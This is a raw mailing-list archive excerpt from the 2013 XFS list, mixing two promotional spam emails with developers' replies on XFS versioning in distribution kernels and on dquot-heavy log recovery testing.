205.201.130.177 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=mail177.wdc02.mcdlv.net; h=Subject:From:Reply-To:To:Date:Message-ID:List-Unsubscribe:Sender:Content-Type:MIME-Version; i=info=3Dthedailyrocker.com@mail177.wdc02.mcdlv.net; bh=OWistqL14TTQhSn07DQwCVdQkBs=; b=jg+0JyspGIxQq1+6XTptzSJUBGss88QpNjp7pMdd8fI9cNSlcHAg0Lao50l+MM7v//htg0lfvq5R 6PtqjB2Odh7vRxy+Ux5BlnNLBtz54uwsnYHqI+MwT/dKT08/zHjtSjvWSrvBjIBpyqrI7nQyPVtU 1NG71DrX3ZNkJVZJRcA= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=k1; d=mail177.wdc02.mcdlv.net; b=0qjOkaMVkT1KQ91Jrn93Jy6v8XPEZnI8KhLDL/QE894haI7xCT/GlugBBAEEvVgMXMrJ3QZQVad+ BOnlD75CbT19B25znjf3wmlUU4Ed2vL9dVmTvZSH07Eo+fw6KoRtrxudUCIAjeD/8kHiAgWwGnIc 5E5sXDu76vhVNFB4SRw=; Received: from (127.0.0.1) by mail177.wdc02.mcdlv.net (PowerMTA(TM) v3.5r16) id huncaa1jvmgv for ; Mon, 29 Jul 2013 02:51:14 +0000 (envelope-from ) Subject: =?utf-8?Q?Submit=20Music=20Videos=20to=20be=20run=20on=20our=20site?= From: =?utf-8?Q?The=20Daily=20Rocker?= X-ASG-Orig-Subj: =?utf-8?Q?Submit=20Music=20Videos=20to=20be=20run=20on=20our=20site?= Reply-To: =?utf-8?Q?The=20Daily=20Rocker?= To: =?utf-8?Q??= Date: Mon, 29 Jul 2013 02:51:14 +0000 Message-ID: X-Mailer: MailChimp Mailer - **CID2b7c9f27206e97603da8** X-Campaign: mailchimpcff25387938a97b0fd838f920.2b7c9f2720 X-campaignid: mailchimpcff25387938a97b0fd838f920.2b7c9f2720 X-Report-Abuse: Please report abuse for this campaign here: http://www.mailchimp.com/abuse/abuse.phtml?u=cff25387938a97b0fd838f920&id=2b7c9f2720&e=6e97603da8 x-accounttype: pd List-Unsubscribe: , Sender: "The Daily Rocker" x-mcda: FALSE Content-Type: multipart/alternative; boundary="_----------=_MCPart_171808617" MIME-Version: 1.0 X-Barracuda-Connect: mail177.wdc02.mcdlv.net[205.201.130.177] X-Barracuda-Start-Time: 1375066276 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.62 X-Barracuda-Spam-Status: No, SCORE=1.62 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA_HREF_HTTP_MISMATCH, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.80 BSF_SC7_SA_HREF_HTTP_MISMATCH BODY: Custom Phishing Mismatch -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars This is a multi-part message in MIME format --_----------=_MCPart_171808617 Content-Type: text/plain; charset="us-ascii"; We just launched the first site to feature JUST music videos! View this email in your browser (http://us7.campaign-archive1.com/?u=cff25387938a97b0fd838f920&id=2b7c9f2720&e=6e97603da8) ** We are now accepting submissions of Music Videos from new artists http://www.thedailyrocker.com ------------------------------------------------------------ Artists and labels, we DO want to hear from you. Do not respond to this email please. Hit the ABOUT PAGE for submission info. Please also check out the site prior to submitting. http://thedailyrocker.com/about-us.html About The Daily Rocker: * No digging through interviews and crappy concert footage. Just music videos twenty four hours a day seven days a week. * The ability to chat with facebook friends while watching music videos uninterrupted * Hours of daily music video programming, hand picked and compiled by real humans, not computers * The Daily Top Ten Music Videos based on charts, ticket sales, downloads and buzz * Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELECTRONIC, COUNTRY and several cross over formats (all genres in one station) * Task based stations to keep the user motivated while studying, cleaning the house or trying to make out with someone * Other sub-genres include music by era and a station devoted to female artists with bold voices * Thousands of Artist Stations that automatically send users from one like minded artist to the next, allowing them to watch videos all day while getting stuff done * New music videos added daily with constantly rotating playlists allow users to keep up with current music while hearing their favorite tunes ============================================================ ** unsubscribe from this list (http://TheDailyRocker.us7.list-manage2.com/unsubscribe?u=cff25387938a97b0fd838f920&id=c67736b492&e=6e97603da8&c=2b7c9f2720) ** update subscription preferences (http://TheDailyRocker.us7.list-manage1.com/profile?u=cff25387938a97b0fd838f920&id=c67736b492&e=6e97603da8) --_----------=_MCPart_171808617 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable Submit Music Videos to be run on our site
    =09
    We just launched the first site to feature JUS= T music videos!
    View this email in your browser

    =09We are now accepting submissions of Music Videos from new artists
    =09http://www.thedailyrocker= =2Ecom

    =09Artists and labels, we DO want to hear from you. Do not resp= ond to this email please. Hit the ABOUT PAGE  for submission info= =2E Please also check out the site prior to submitting.
    =09
    =09http://thedailyrocker.com/about-us.html
    =09
    =09
    =09
    =09About The Daily Rocker:

      =09
    • =09=09No digging through interviews and crappy concert footage. Just music= videos twenty four hours a day seven days a week.
    • =09
    • =09=09The ability to chat with facebook friends while watching music video= s uninterrupted
    • =09
    • =09=09Hours of daily music video programming, hand picked and compiled by= real humans, not computers
    • =09
    • =09=09The Daily Top Ten Music Videos based on charts, ticket sales, downlo= ads and buzz
    • =09
    • =09=09Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELE= CTRONIC, COUNTRY and several cross over formats (all genres in one station= )
    • =09
    • =09=09Task based stations to keep the user motivated while studying, clean= ing the house or trying to make out with someone
    • =09
    • =09=09Other sub-genres include music by era and a station devoted to femal= e artists with bold voices
    • =09
    • =09=09Thousands of Artist Stations that automatically send users from one= like minded artist to the next, allowing them to watch videos all day whi= le getting stuff done
    • =09
    • =09=09New music videos added daily with constantly rotating playlists allo= w users to keep up with current music while hearing their favorite tunes
    =09 
    Copyright =C2=A9 2013 The Daily Rocker, Al= l rights reserved.
    You are receiving this because you opted in for our music promotions.

    Our mailing address is:
    The Daily Rocker
    Los Angeles
    Los Angeles, CA 90014

    Add us to your address book

    unsubscribe from this l= ist    update subscription preferences 

    --_----------=_MCPart_171808617-- From sandeen@sandeen.net Sun Jul 28 22:13:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1A76B7F37 for ; Sun, 28 Jul 2013 22:13:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A9E43AC002 for ; Sun, 28 Jul 2013 20:12:59 -0700 (PDT) X-ASG-Debug-ID: 1375067574-04bdf02f221af400001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id EBKZjpfYCHZ6b8Wv for ; Sun, 28 Jul 2013 20:12:55 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 1929460BC934; Sun, 28 Jul 2013 22:12:53 -0500 (CDT) Message-ID: <51F5DDB3.7010109@sandeen.net> Date: Sun, 28 Jul 2013 22:12:51 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: Jay Ashworth , xfs@oss.sgi.com Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) References: <20130729000247.GA13468@dastard> <32553786.2492.1375056392388.JavaMail.root@benjamin.baylink.com> <20130729024105.GC13468@dastard> X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) In-Reply-To: <20130729024105.GC13468@dastard> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1375067575 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/28/13 9:41 PM, Dave Chinner wrote: > On Sun, Jul 28, 2013 at 08:06:32PM -0400, Jay Ashworth wrote: >> ----- Original Message ----- >>> From: "Dave Chinner" >> >>> Sure, they have diverged signficant;y as we've backported various >>> bits of XFs fetaures and bug fixes back into RHEL6. As have every >>> other distro that doesn't track mainline directly. That's why you >>> need to look at the kernel source package to know what code the >>> distro is running. >> >> And... all the way back to Jason's original question: >> >> The way that you get the information out of a kernel/kernel RPM to >> determine which XFS version it's running... is? Cause it's clearly >> not obvious to either him or me. > > The "version" of XFS that you are running is that of the > kernel you are running. i.e. 2.6.32-279.x.y or 2.6.32-358.x.y. IOWS: There is no spoon. ;) -Eric > Cheers, > > Dave. > From zwu.kernel@gmail.com Sun Jul 28 22:13:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 689A07F3F for ; Sun, 28 Jul 2013 22:13:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 12BE7AC003 for ; Sun, 28 Jul 2013 20:12:57 -0700 (PDT) X-ASG-Debug-ID: 1375067575-04bdf02f201af400001-NocioJ Received: from mail-qa0-f43.google.com (mail-qa0-f43.google.com [209.85.216.43]) by cuda.sgi.com with ESMTP id MyHZKv3vMUwoqa4X (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 28 Jul 2013 20:12:56 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.43 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.43] Received: by mail-qa0-f43.google.com with SMTP id cl20so1413786qab.2 for ; Sun, 28 Jul 2013 20:12:55 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.43] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.43] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Hp66gn2wP7sdQYa+EWTvSbmu6Q7KYMie9rleXkjt2ec=; b=ug9WyZaj/lYnRv3Ii4LXYEwliggbajvVaQ6xcts3E+DQzU8WbxAq/hTQXyRUQ8LZtF 9Ix4SHAiAs7FDIuCS/mDIyQBYZVTWiHizpu2IDrZPhv1qkObCWgOm7xwTPd5n5prBZ7Z uwxzjdfo3VCDqtv54XjZYE5+NnqeacCXMfKeZIpkRajNQlpq7wlRfNfJuri/ArLXpY6I zrNkG3BnDrlt3BJb3iP+UAsMS/g9W7VowmcLMt0XJheVt+P/3i9BMAaQCag5xGODgREK +VVsKEJxWkDd1MFtGEQAv3DGPyYLKTzWFyX85mh6Hc+TO6u0udoFMNkQW9Fe2sFPvHDs lDbA== MIME-Version: 1.0 X-Received: by 10.49.1.50 with SMTP id 18mr23691081qej.13.1375067575296; Sun, 28 Jul 2013 20:12:55 -0700 (PDT) Received: by 10.49.48.226 with HTTP; Sun, 28 Jul 2013 20:12:55 -0700 (PDT) In-Reply-To: <20130729024546.GD13468@dastard> References: <1374740619-29797-1-git-send-email-zwu.kernel@gmail.com> <20130726025009.GE21982@dastard> <20130726113521.GM13468@dastard> <20130729024546.GD13468@dastard> Date: Mon, 29 Jul 2013 11:12:55 +0800 Message-ID: Subject: Re: [PATCH] xfs: introduce object readahead to log recovery From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH] xfs: introduce object readahead to log recovery To: Dave Chinner Cc: xfstests , "linux-fsdevel@vger.kernel.org" , linux-kernel mlist , Zhi Yong Wu Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qa0-f43.google.com[209.85.216.43] X-Barracuda-Start-Time: 1375067575 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Jul 29, 2013 at 10:45 AM, Dave Chinner wrote: > On Mon, Jul 29, 2013 at 09:38:11AM +0800, Zhi Yong Wu wrote: >> By the way, how do you try the workload which has nothing but dirty >> dquote objects? > > Create quota limits for non-existent users. That will allocate the > dquots and dirty them. > > Or if you already have a few hundred thousand dquots, just change > the limits on them all to get them logged and dirty... OK, thanks. > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Regards, Zhi Yong Wu From apache@s16980272.onlinehome-server.info Sun Jul 28 22:34:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EB09B7F37 for ; Sun, 28 Jul 2013 22:34:27 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DB4EC304032 for ; Sun, 28 Jul 2013 20:34:24 -0700 (PDT) X-ASG-Debug-ID: 1375068860-04cb6c2e9c1aee00001-NocioJ Received: from s16980272.onlinehome-server.info (s16980272.onlinehome-server.info [87.106.132.2]) by cuda.sgi.com with ESMTP id iC4qrPzTlF6itjzj (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 28 Jul 2013 20:34:21 -0700 (PDT) X-Barracuda-Envelope-From: apache@s16980272.onlinehome-server.info X-Barracuda-Apparent-Source-IP: 87.106.132.2 Received: by s16980272.onlinehome-server.info (Postfix, from userid 502) id 6E71C235FE; Mon, 29 Jul 2013 05:34:18 +0200 (CEST) To: Xfs Subject: hello from adoptashot X-PHP-Originating-Script: 10000:class.phpmailer.php X-ASG-Orig-Subj: hello from adoptashot Date: Mon, 29 Jul 2013 05:34:18 +0200 From: adopt a shot Reply-To: adopt a shot Message-ID: X-Priority: 3 X-Mailer: PHPMailer (phpmailer.sourceforge.net) [version 2.0.4] MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_75c8a5c25ca9c942ab7c1ba675f43572" X-Barracuda-Connect: s16980272.onlinehome-server.info[87.106.132.2] X-Barracuda-Start-Time: 1375068861 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137392 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --b1_75c8a5c25ca9c942ab7c1ba675f43572 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit Adopt a Shot HD, 2K or 5K green screen stock footages Collection "People Vol.1" Get amazingly perfect green screen for your production/video project and practice keying, match moving, compositing, tracking and much more ! At Adoptashot http://www.adoptashot.com/ you can buy and download royalty free HD, 2K or 5K green screen video files. Downloads for just $1.49 ! Start Now to AdoptaShot ! Or you can adopt separtely Shots for particular needed Package Single Shot Women Men Group Facebook Join us on Facebook and get tuned about the coming new collections at Adoptashot ! --b1_75c8a5c25ca9c942ab7c1ba675f43572 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: 8bit hello from adoptashot
     

    Adopt a Shot

     HD, 2K or 5K green screen stock footage

    Perfet
green screen HD 2K 5K
     

    Collection "People Vol.1"

    Get amazingly perfect green screen for your production/video project and practice keying, match moving, compositing, tracking and much more !

    At Adoptashot http://www.adoptashot.com/ you can buy and download royalty free HD, 2K or 5K green screen video files. Downloads for just $1.49 !

    Start Now to Adopt a Shot !

    Or you can adopt separtely Shots for particular needed

    Facebook

    Join us on Facebook and get tuned about the coming new collections at Adoptashot !



     
    --
    adoptashot.com | contact | Facebook 
    --
    --b1_75c8a5c25ca9c942ab7c1ba675f43572-- From sgi-linux-xfs@m.gmane.org Sun Jul 28 22:42:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AA0007F3F for ; Sun, 28 Jul 2013 22:42:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9A64F8F8033 for ; Sun, 28 Jul 2013 20:42:39 -0700 (PDT) X-ASG-Debug-ID: 1375069357-04cbb02c3e1aceb0001-w1Z2WR Received: from plane.gmane.org (plane.gmane.org [80.91.229.3]) by cuda.sgi.com with ESMTP id 6Dbn3iODfvRUj44g (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 28 Jul 2013 20:42:38 -0700 (PDT) X-Barracuda-Envelope-From: sgi-linux-xfs@m.gmane.org X-Barracuda-Apparent-Source-IP: 80.91.229.3 Received: from list by plane.gmane.org with local (Exim 4.69) (envelope-from ) id 1V3eM0-0000mV-Kw for linux-xfs@oss.sgi.com; Mon, 29 Jul 2013 05:42:36 +0200 Received: from wombat.san-francisco.ca.us ([75.101.60.140]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 29 Jul 2013 05:42:36 +0200 Received: from kkeller by wombat.san-francisco.ca.us with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 29 Jul 2013 05:42:36 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: linux-xfs@oss.sgi.com From: Keith Keller Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) Date: Sun, 28 Jul 2013 20:38:10 -0700 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Lines: 16 Message-ID: <2m4hcax0nv.ln2@goaway.wombat.san-francisco.ca.us> References: <20130729000247.GA13468@dastard> <32553786.2492.1375056392388.JavaMail.root@benjamin.baylink.com> <20130729024105.GC13468@dastard> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: wombat.san-francisco.ca.us User-Agent: slrn/0.9.9p1 (Linux) X-Barracuda-Connect: plane.gmane.org[80.91.229.3] X-Barracuda-Start-Time: 1375069358 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137392 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2013-07-29, Dave Chinner wrote: > > The "version" of XFS that you are running is that of the > kernel you are running. i.e. 2.6.32-279.x.y or 2.6.32-358.x.y. Can't you fairly easily replace a kernel module with a different version using something like DKMS? I feel like I did that with xfs a few months ago. If accurate, then it's theoretically possible to run a different version of the xfs kernel module than the running kernel version. (And if I'm misremembering then there really is no spoon!) --keith -- kkeller@wombat.san-francisco.ca.us From stan@hardwarefreak.com Sun Jul 28 23:11:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8DEBC7F3F for ; Sun, 28 Jul 2013 23:11:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1A110AC003 for ; Sun, 28 Jul 2013 21:11:04 -0700 (PDT) X-ASG-Debug-ID: 1375071063-04cbb02c3c1ae580001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id CC8P4q5LFr2gE3ch for ; Sun, 28 Jul 2013 21:11:04 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id BAE5C6C114 for ; Sun, 28 Jul 2013 23:11:03 -0500 (CDT) Message-ID: <51F5EB56.5040909@hardwarefreak.com> Date: Sun, 28 Jul 2013 23:11:02 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) References: <20130729000247.GA13468@dastard> <32553786.2492.1375056392388.JavaMail.root@benjamin.baylink.com> <20130729024105.GC13468@dastard> <51F5DDB3.7010109@sandeen.net> X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) In-Reply-To: <51F5DDB3.7010109@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1375071064 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/28/2013 10:12 PM, Eric Sandeen wrote: > On 7/28/13 9:41 PM, Dave Chinner wrote: >> On Sun, Jul 28, 2013 at 08:06:32PM -0400, Jay Ashworth wrote: >>> ----- Original Message ----- >>>> From: "Dave Chinner" >>> >>>> Sure, they have diverged signficant;y as we've backported various >>>> bits of XFs fetaures and bug fixes back into RHEL6. As have every >>>> other distro that doesn't track mainline directly. That's why you >>>> need to look at the kernel source package to know what code the >>>> distro is running. >>> >>> And... all the way back to Jason's original question: >>> >>> The way that you get the information out of a kernel/kernel RPM to >>> determine which XFS version it's running... is? Cause it's clearly >>> not obvious to either him or me. >> >> The "version" of XFS that you are running is that of the >> kernel you are running. i.e. 2.6.32-279.x.y or 2.6.32-358.x.y. > > IOWS: There is no spoon. ;) Excellent quote Eric, love the Matrix movies. I think the problem here is a lack of understanding of the kernel development and commit process. AFAIK there's not a single Linux subsystem that has a standalone version number or versioning scheme. Not the other filesystems, not the USB subsystem, SCSI, ATA, etc. The version of each is simply the version of the kernel they are included in. I've been wondering throughout this thread where anyone got the idea that there is an XFS version that can be traced/tracked. Maybe because xfsprogs have a version number? The way to track XFS changes from kernel to kernel is to look at the commits, as others have already stated. -- Stan From sandeen@sandeen.net Sun Jul 28 23:32:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=MIME_QP_LONG_LINE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 306057F3F for ; Sun, 28 Jul 2013 23:32:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C13FCAC001 for ; Sun, 28 Jul 2013 21:32:45 -0700 (PDT) X-ASG-Debug-ID: 1375072364-04bdf02f211b3b60001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id MfS127myg6ZtOaVx for ; Sun, 28 Jul 2013 21:32:44 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from [192.168.1.107] (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 345FC60BC933; Sun, 28 Jul 2013 23:32:44 -0500 (CDT) References: <20130729000247.GA13468@dastard> <32553786.2492.1375056392388.JavaMail.root@benjamin.baylink.com> <20130729024105.GC13468@dastard> <2m4hcax0nv.ln2@goaway.wombat.san-francisco.ca.us> Mime-Version: 1.0 (1.0) In-Reply-To: <2m4hcax0nv.ln2@goaway.wombat.san-francisco.ca.us> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <109D380F-F26C-4DA1-87DC-27466198AE22@sandeen.net> Cc: "linux-xfs@oss.sgi.com" X-Mailer: iPhone Mail (10A523) From: Eric Sandeen Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) Date: Sun, 28 Jul 2013 23:32:41 -0500 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) To: Keith Keller X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1375072364 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137393 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars On Jul 28, 2013, at 10:38 PM, Keith Keller wrote: > On 2013-07-29, Dave Chinner wrote: >>=20 >> The "version" of XFS that you are running is that of the >> kernel you are running. i.e. 2.6.32-279.x.y or 2.6.32-358.x.y. >=20 > Can't you fairly easily replace a kernel module with a different version > using something like DKMS? I feel like I did that with xfs a few months > ago. If accurate, then it's theoretically possible to run a different > version of the xfs kernel module than the running kernel version. (And > if I'm misremembering then there really is no spoon!) >=20 In general, no. There are a lot of moving parts that interface with the fil= esystem - one does not simply drop fs/xfs from, say, kernel 3.2 into a 2.6.3= 2 kernel. Ninjas like Dave can do it for an enterprise distro kernel if it benefits cu= stomers, but the back porting and testing is very much a nontrivial task. -Eric > --keith >=20 > --=20 > 